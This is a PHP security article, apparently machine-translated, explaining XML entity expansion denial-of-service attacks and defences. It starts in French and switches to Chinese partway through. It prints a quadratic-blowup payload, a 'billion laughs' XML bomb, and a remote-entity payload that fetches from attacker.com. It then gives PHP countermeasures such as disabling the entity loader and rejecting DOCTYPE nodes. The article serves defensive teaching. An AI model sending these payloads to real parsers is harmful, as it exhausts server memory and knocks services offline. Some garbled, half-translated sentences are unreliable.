XMl Entity Expansion (attaque) est quelque peu similaire à XML Entity Expansion, mais elle tente principalement de mener une attaque DOS en consommant l'environnement serveur du programme cible. Cette attaque est basée sur XML Entity Expansion et est implémentée en créant une définition d'entité personnalisée en XML DOCTYPE
. Par exemple, cette définition peut générer une structure XML en mémoire beaucoup plus grande que la taille initialement autorisée de XML. cette attaque visant à épuiser les ressources mémoire nécessaires au fonctionnement normal et efficace d'un serveur réseau. Cette méthode d'attaque est également applicable au module fonction de sérialisation XML de HTML5, qui ne peut actuellement pas être reconnu comme HTML par le package d'extension libxml2
.
Il existe plusieurs façons d'étendre les entités personnalisées XML pour obtenir l'effet souhaité d'épuisement des ressources du serveur.
L'attaque d'expansion d'entité générique est également appelée "Attaque d'explosion quadratique". Lors de l'utilisation de cette méthode, des entités personnalisées sont définies de manière extrêmement. longue chaîne. Lorsque cette entité est utilisée de manière intensive dans un fichier, elle est développée à chaque appel, ce qui entraîne une structure XML qui dépasse considérablement la taille de RAM requise par le XML d'origine.
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]> <results> <result>Now include &long; lots of times to expand the in-memory size of this XML structure</result> <result>&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; Keep it going... &long;&long;&long;&long;&long;&long;&long;...</result> </results>
En équilibrant la taille de la chaîne d'entité personnalisée avec le nombre d'entités utilisées dans le corps du document, vous pouvez créer un document ou une chaîne XML qui évolue pour occuper une quantité prévisible d'espace RAM sur le serveur. En occupant la RAM du serveur avec des requêtes répétées comme celle-ci, une attaque par déni de service peut être lancée avec succès. L'inconvénient de cette méthode est que, puisque l'effet de consommation de mémoire est basé sur une simple multiplication, le document XML initial ou la chaîne elle-même doit être suffisamment grand.
L'attaque d'expansion d'entité générale nécessite un volume de données d'entrée XML suffisamment important, tandis que les octets d'entrée moyens de l'attaque d'expansion d'entité récursive peuvent produire un volume plus important de données d'entrée XML. effet d'attaque puissant. Cette méthode d'attaque s'appuie sur l'analyse XML pour analyser, complétant ainsi la croissance exponentielle de petits ensembles d'entités. Grâce à cette approche de croissance exponentielle, une quantité de données d’entrée bien inférieure à celle d’une attaque d’expansion d’entité générique peut en réalité devenir extrêmement importante. Par conséquent, cette approche est appelée à juste titre « XML Bomb » ou « Billion Laughs Attack ».
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY x0 "BOOM!"> <!ENTITY x1 "&x0;&x0;"> <!ENTITY x2 "&x1;&x1;"> <!ENTITY x3 "&x2;&x2;"> <!-- Add the remaining sequence from x4...x100 (or boom) --> <!ENTITY x99 "&x98;&x98;"> <!ENTITY boom "&x99;&x99;"> ]> <results> <result>Explode in 3...2...1...&boom;</result> </results>
L'attaque XML Bomb ne nécessite pas de grandes quantités de données XML qui peuvent être limitées par le programme. L'ensemble d'entités croît de façon exponentielle comme ceci, et la taille finale du texte développé est de 2 à la puissance 100 de la valeur initiale de l'entité &x0
. C'est vraiment une bombe énorme et destructrice !
Les attaques d'expansion d'entité conventionnelles et récursives reposent sur des entités définies localement dans la définition du type de document XML, mais les attaquants peuvent également créer des définitions d'entités externes. Cela nécessite évidemment que l'analyseur XML soit capable d'effectuer des requêtes HTTP à distance comme nous l'avons rencontré précédemment lors de la description de l'attaque XML External Entity Injection (XXE). Refuser de telles demandes est une mesure de sécurité de base pour votre analyseur XML. Par conséquent, les mesures de défense contre les attaques XXE s’appliquent également à ces attaques par extension d’entité XML.
Bien qu'elle puisse être défendue par les méthodes ci-dessus, l'extension d'entité distante attaque en amenant l'analyseur XML à effectuer une requête HTTP distante pour obtenir la valeur étendue de l'entité référencée. Les résultats renvoyés définiront eux-mêmes des entités externes pour lesquelles d'autres analyseurs XML doivent effectuer des requêtes HTTP distinctes. En conséquence, certaines requêtes apparemment anodines peuvent rapidement devenir incontrôlables et alourdir les ressources disponibles du serveur. Dans ce cas, si la requête elle-même inclut une attaque d’expansion récursive, le résultat final sera encore pire.
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml"> ]> <results> <result>3..2..1...&cascade<result> </results>
Les méthodes d'attaque ci-dessus peuvent également conduire à des attaques DOS plus détournées, par exemple, les requêtes à distance sont ajustées pour cibler des programmes locaux ou tout autre programme qui partage les ressources de leur serveur. Cette méthode d'attaque peut entraîner une attaque DOS autodestructrice, dans laquelle la tentative de l'analyseur XML d'analyser des entités externes peut déclencher d'innombrables requêtes au programme local et ainsi consommer davantage de ressources du serveur. Cette méthode est donc utilisée pour amplifier l'impact des attaques évoquées précédemment utilisant des attaques XML External Entity Injection (XXE) pour compléter les attaques DOS.
Les mesures de défense générales suivantes sont héritées de nos mesures de défense contre les attaques courantes d'entités externes XML (XXE). Nous devrions refuser l'analyse des fichiers locaux et des requêtes HTTP distantes par des entités personnalisées en XML, et pouvons utiliser la fonction suivante qui peut être appliquée globalement à toutes les extensions écrites en PHP ou XML qui utilisent la fonction libxml2
en interne.
libxml_disable_entity_loader(true);
诚然PHP以不按常理出牌著称,它并不使用常规的防御方式。常规的防御方式在文档类型声明中,使用XML的文档类型定义来完全拒绝通过自定义实体的定义。PHP也的确为防御功能定义了一个替代实体的LIBXML_NOENT
常量,以及 DOMDocument::$substituteEntities
公共属性,但是使用这两条定义的防御效果不甚明显。似乎我们只能这样将就解决问题,而没有任何更好的解决方案。
虽说没有更好的方案,libxml2
函数也确实内置了默认拒绝递归实体解析。要知道递归实体要是出了问题可是能让你的错误日志”咻”地一下跟点亮圣诞树一样全面飘红的。如此看来,好像也没必要特意针对递归实体使用一种特殊防御手段,尽管我们是得做点什么来防止万一libxml2
函数突然陷回解析递归实体的故障里去。
当下新型威胁主要来自Generic Entity Expansion 或者Quadratic Blowup Attack的粗暴攻击方式。此类攻击方式不需要调用远程或本地系统,也不需要实体递归。事实上,唯一的防御措施要么是不用XML,要么是清理过滤所有包含文档类型声明的XML。除非要求的文档类型声明接收于安全的可信源,否则最安全的做法就是不用XML了。比如,我们是由同行验证的HTTPS连接接受的。否则,既然PHP没给我们提供禁用文档类型定义的选项,那我们就只能自建逻辑了。假定你能调用 libxml_disable_entity_loader(TRUE)
,那么后续程序运行就是安全的了,因为实体扩展这一步已经被递延到被扩展影响的节点值可被再次访问的时候了(然而勾选TURE以后永远都访问不到了)。
$dom = new DOMDocument; $dom->loadXML($xml); foreach ($dom->childNodes as $child) { if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); } }
当然啦,在 libxml_disable_entity_loader
被设定为TRUE
的前提下,以上代码才能正常运行,设定后XML初始加载的时外部实体引用就不会被解析了。除非解析器自己有一套全面的针对如何进行实体解析的控制选项,否则XML解析器不依赖libxml2
函数进行解析时,恐怕这就是唯一的防御措施了。
如果你想使用SimpleXML函数,记得用the simplexml_import_dom()
函数来转换核验过的DOMDocument
项目。
原文地址:Injection Attacks
OneAPM for PHP 能够深入到所有 PHP 应用内部完成应用性能管理 能够深入到所有 PHP 应用内部完成应用性能管理和监控,包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。想阅读更多技术文章,请访问 OneAPM 官方技术博客。
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!